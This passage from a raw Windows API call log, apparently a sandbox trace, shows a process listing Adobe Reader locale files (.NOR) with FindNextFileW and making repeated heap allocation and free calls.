cFileName="AdobeCollabSync.NOR", cAlternateFileName="")) returned 1 [0082.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b7a8 [0082.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284320 [0082.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.242] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.NOR", cAlternateFileName="")) returned 1 [0082.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b7c8 [0082.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284740 [0082.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.243] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.NOR", cAlternateFileName="")) returned 1 [0082.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b7e8 [0082.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284848 [0082.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.245] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.NOR", cAlternateFileName="")) returned 1 [0082.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b808 [0082.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284950 [0082.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.246] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.NOR", cAlternateFileName="")) returned 1 [0082.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b828 [0082.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284a58 [0082.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.248] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.NOR", cAlternateFileName="")) returned 1 [0082.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b848 [0082.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284b60 [0082.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.249] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.NOR", cAlternateFileName="")) returned 1 [0082.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b868 [0082.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284c68 [0082.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.251] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.NOR", cAlternateFileName="")) returned 1 [0082.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b888 [0082.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284d70 [0082.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.252] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.NOR", cAlternateFileName="")) returned 1 [0082.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b8a8 [0082.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284e78 [0082.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.254] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12200, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.NOR", cAlternateFileName="")) returned 1 [0082.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b8c8 [0082.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1284f80 [0082.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.NOR", cAlternateFileName="")) returned 1 [0082.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b8e8 [0082.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285088 [0082.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.NOR", cAlternateFileName="")) returned 1 [0082.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b908 [0082.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285190 [0082.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.258] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.NOR", cAlternateFileName="")) returned 1 [0082.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b928 [0082.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1285298 [0082.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.260] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fc08920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x140400, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.NOR", cAlternateFileName="")) returned 1 [0082.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b948 [0082.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12853a0 [0082.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6e00) returned 0x129acf0 [0082.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0082.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.261] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.NOR", cAlternateFileName="")) returned 1 [0082.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b968 [0082.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12854a8 [0082.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.263] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.NOR", cAlternateFileName="")) returned 1 [0082.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b988 [0082.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12855b0 [0082.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.265] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.NOR", cAlternateFileName="")) returned 1 [0082.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b9a8 [0082.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12856b8 [0082.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.267] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.NOR", cAlternateFileName="")) returned 1 [0082.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b9c8 [0082.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12857c0 [0082.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.268] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.NOR", cAlternateFileName="")) returned 1 [0082.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b9e8 [0082.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12858c8 [0082.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.270] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.270] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NOR", cAlternateFileName="")) returned 1 [0082.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.270] 